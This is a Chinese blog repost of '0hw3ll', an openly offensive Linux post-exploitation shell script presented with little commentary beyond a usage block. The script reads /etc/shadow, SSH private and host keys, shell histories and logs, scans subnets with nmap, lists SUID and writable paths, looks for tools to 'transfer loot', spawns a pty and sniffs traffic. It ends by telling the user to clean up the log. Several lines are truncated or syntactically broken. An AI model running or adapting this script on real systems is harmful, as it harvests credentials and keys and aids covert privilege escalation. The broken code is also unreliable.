0hw3ll,Linux垃圾邮件挖掘

原创

怀揣梦想的大鸡腿 于 2018-02-28 09:53:18 发布 210 收藏
分类专栏： 安全

本文链接：https://blog.csdn.net/dajitui2024/article/details/79396469

参考：https://github.com/darkerego/0hw3ll

使用：

```
./0hw3ll <options> <args>
         -s|--scrape : Scrape the system. This will gather as much
                       information as permissions allow. Caution:
                       this may attract attention if you are on a
                       pentest.
         -p|--pty    : Try a variety of methods to upgrade to a pty
                       terminal (If you don.t already have one)
         -d|--dump   : Attempt packet capture through tcpdump. This
                       usually requires root/sudo. Never know, though!
         -h|--help   : Show this help.
```

scrap.sh

```
#!/bin/sh
####################################################################
# Scraping *nux
####################################################################
# Thanks to g0tmilk for the excellent write up:
# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
##################
doHelp(){
echo -e'
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
#         (   )                                             (   )
#   .-.    | | .-.    ___  ___  ___    .--.    .--.   .--.   | |
# /    \   | |/   \  (   )(   )(   ) /     \  (_  |  (_  |   | |
#|  .-. ;  |  .-. .   | |  | |  | | (___)`. |   | |    | |   | |
#| |  | |  | |  | |   | |  | |  | |    .-. /    | |    | |   | |
#| |  | |  | |  | |   | |  | |  | |    .. \     | |    | |   | |
#| |  | |  | |  | |   | |  | |  | |  ___ \ .    | |    | |   | |
#| .  | |  | |  | |   | |  ; .  | | (   ) ; |   | |    | |   |_|
#.  `-. /  | |  | |   . `-.   `-. .  \ `-.  /   | |    | |   .-.
# `.__,.  (___)(___)   ..__...__..    .,__..   (___)  (___) (   )
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# Shell script to scrape, enumerate, or otherwise rape *nux systems.
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
# <Written by Darkerego, GPL 2016> <https://github.com/darkerego>
```

```
# <written by Darkerego, GPL 2016> <https://github.com/darkerego>
## Based off of g0tmi1k.s excellent writeup on priv escalation:
# https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
>> USAGE: $0 <options>
              -s|--scrape : Scrape the system. This will gather as much
                            information as permissions allow. Caution:
                            this may attract attention if you are on a
                            pentest.
              -p|--pty    : Try a variety of methods to upgrade to a pty
                            terminal (If you don.t already have one)
              -d|--dump   : Attempt packet capture through tcpdump. This
                            usually requires root/sudo. Never know, though!
              -h|--help   : Show this help.
#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@
'
}
### Bash Recon ###
cwd=$(pwd)
out=$cwd/0hw311.log
#
bashrecon(){
RIGHT_NOW=$(date +"%x %r %Z")
pubIP=$(curl ipecho.net/plain;echo)
########################
INTFACES=$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
intIPS=$(for i in ${INTFACES}; do /sbin/ifconfig $i | grep Mask | cut -d ':' -f2 | cut -d " " -f1; done)
intSNS=$(for i in ${intIPS}; do echo $i | cut -d "." -f -3 | sed 's/$/.*/'; done)
sn_RESULTS=$(for i in ${intSNS}; do nmap -sV -F $i; done)
pi_RESULTS=$(nmap -sV -F ${pubIP})
########################
echo ${sn_RESULTS}
echo ${pi_RESULTS}

cat /etc/network/interfaces
cat /etc/sysconfig/network
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks

if [[ whoami == "root" ]];
then
  iptables -L || echo 'We are not root'
else
  sudo iptables -V >/dev/null 2>&! || { echo 'We got no sudo' && exit 1 ;}
fi

arp -e
route -n
/sbin/route -nee
hostname
dnsdomainname
}
#

getEnv(){

#system
cat /etc/issue
cat /etc/*-release
```

```
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
# kernel
cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
#env
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
# find printers
lpstat -a
# get running services
ps aux
ps -ef
ps aux | grep root
ps -ef | grep root
cat /etc/services
# installed programs
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l || echo 'Not a debian sys..'
rpm -qa || echo 'Not a rhel sys either...'
ls -alh /var/cache/apt/archives*
ls -alh /var/cache/yum/

# find misconfigured services

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
sh -c "ls -aRl /etc/ | awk '$1 ~ /^.*r.*"

#grep -i user [filename]
#grep -i pass [filename]
#grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -la ~/.ssh/
cat ~/.ssh/config
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
```

```
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa*.pub
cat ~/.ssh/id_rsa*
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

id
id -u
groups
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

# what do we got @home?

ls -ahlR /root/
ls -ahlR /home/
ls -ahlR /

# enum hist

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
# and env
cat ~/.bashrc
cat ~/.profile
head -n 100 /var/mail/root
head -n 100 /var/spool/mail/root

# what can we mess with?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

# variable data please?
ls -alh /var/log
ls -alh /var/mail
```

```
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

# databases

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

# enum logs

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
```

```
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w
mount
df -h
cat /etc/fstab

}


getCrons(){
# get cron jobs
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
}

getSUID(){
  # setu/g/id mmmk?
if [ ! -d /home/.ecryptfs ]
then
  fpath="/"
else
  fpath="/ -not -path "/home/*""
fi
  find $fpath -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner
  find $fpath -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who st
  find $fpath -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who st

  find $fpath -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
  for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # L

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail a
  find $fpath -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
# what can we write to?

  find $fpath -writable -type d 2>/dev/null      # world-writeable folders
  find $fpath -perm -222 -type d 2>/dev/null     # world-writeable folders
  find $fpath -perm -o w -type d 2>/dev/null     # world-writeable folders

  find $fpath -perm -o x -type d 2>/dev/null     # world-executable folders

  find $fpath \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders


# anything weird already happening here?

  find $fpath -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
```

```
  find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files


# what dev tools we got to exploit?

  find $fpath -name perl*
  find $fpath -name python*
  find $fpath -name gcc*
  find $fpath -name g++*
  find $fpath -name cc




# how can we transfer loot?
which wget || find $fpath -name wget
which curl || find $fpath -name curl
which nc || find $fpath -name nc*
which netcat || find $fpath -name netcat*
which tftp || find $fpath -name tftp*
which ftp || find $fpath -name ftp
which ncat || find $fpath -name ncat*
which telnet || find $fpath -name telnet*
echo -en "\nIf you can see a new line here: \n;than this does not have echo -e\n"
which base64 || echo 'Wtf no base64'
}

spawnPty(){

echo 'Trying to spawn a tty...'
if ! /bin/sh -i;then
 if ! python -c 'import pty;pty.spawn("/bin/bash")';then
  #if ! echo os.system('/bin/bash');then
   if ! perl —e 'exec "/bin/sh";';then
    if ! perl: exec "/bin/sh";then
     if ! ruby: exec "/bin/sh";then
      #if ! lua: os.execute('/bin/sh');then
      echo ""
      fi
     fi
    fi
   fi
  #fi
 #fi
#fi
echo 'Crap. One options left. Checking for expect...'
if ! expect -c 'spawn sh;interact';then
  echo "Sorry, could not get a pty!"
fi

else

  echo 'Exited pty...'
fi

}

trySniff(){
for i in "$(/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')";do tcpdump -i $i & > "$cwd/sniff.$i.log"
```

```
}

case $1 in

-s|--scrape)
echo 'Scraping the system... After this is done (if it ever finishes), try running with --pty or --sniff ..
scrapeIt | tee -a $out &>2 >> /dev/null
bashrecon | tee -a $out &>2 >> /dev/null
getEnv  | tee -a $out &>2 >> /dev/null
getCrons | tee -a $out &>2 >> /dev/null
getSUID | tee -a $out &>2 >> /dev/null
echo 'Done! Make sure you clean up the log!'
;;

-P|--pty|--spawn-pty|--spawnpty|--getpty|--get-pty)
if [ "`tty`" != "not a tty" ]
then
  spawnPty
else
  echo 'You are already in a pty! Use -f/--force to do it anyway.'
fi
;;

#case $2 in
#-f | --force)
#echo 'Sure, why not? Attempting to spawn anyway because of --force...'
-d|-dump|tcpdump|--sniff)
trySniff
;;


-h|--help)
doHelp
;;

esac

exit
```